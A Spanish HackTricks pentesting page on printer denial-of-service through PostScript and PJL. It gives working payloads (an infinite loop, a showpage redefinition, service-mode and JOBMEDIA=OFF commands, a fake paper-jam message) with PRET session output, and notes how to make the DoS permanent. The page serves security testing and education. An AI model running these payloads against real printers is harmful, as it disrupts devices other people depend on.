hacktricks/network-services-pentesting/pentesting-printers/document-processing.md

105 lines
5.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Lenguajes de descripción de páginas que permiten bucles infinitos o cálculos que requieren mucho tiempo de computación. Incluso lenguajes minimalistas como [PCL](http://hacking-printers.net/wiki/index.php/PCL) pueden usarse para subir macros permanentes o fuentes hasta que se consuma la memoria disponible.
# PostScript
## Bucles infinitos
```
%!
{} loop
```
Usando [PRET](https://github.com/RUB-NDS/PRET):
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hang
Warning: This command causes an infinite loop rendering the
device useless until manual restart. Press CTRL+C to abort.
Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
```
## Redefinir showpage
Al configurar `showpage` que se utiliza en cada documento para imprimir realmente la página para que no haga nada en absoluto, los trabajos PostScript se procesan pero no imprimirán nada.
```
true 0 startjob
/showpage {} def
```
Usando [PRET](https://github.com/RUB-NDS/PRET):
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Disabling printing functionality
```
```markdown
Ambos códigos de ataque también pueden escribirse en archivos Sys/Start, startup.ps o similares para causar un **DoS permanente** en dispositivos con disco grabable.
# PJL
## PJL jobmedia
Comandos propietarios de PJL pueden usarse para configurar dispositivos HP antiguos como la serie LaserJet 4k en modo de servicio y deshabilitar completamente toda la funcionalidad de impresión como se muestra a continuación:
```
```
@PJL SET SERVICEMODE=HPBOISEID
@PJL DEFAULT JOBMEDIA=OFF
```
Usando [PRET](https://github.com/RUB-NDS/PRET):
```
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Printing functionality: OFF
```
## Modo fuera de línea
Además, el estándar PJL define el comando `OPMSG` que 'indica a la impresora que muestre un mensaje especificado y se desconecte' \cite{hp1997pjl}. Esto se puede utilizar para simular un atasco de papel como se muestra a continuación:
```
@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"
```
Usando [PRET](https://github.com/RUB-NDS/PRET):
```
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> offline "MESSAGE TO DSIPLAY"
Warning: Taking the printer offline will prevent yourself and others
from printing or re-connecting to the device. Press CTRL+C to abort.
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
```
**Aprende más sobre estos ataques en** [**http://hacking-printers.net/wiki/index.php/Document\_processing**](http://hacking-printers.net/wiki/index.php/Document\_processing)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>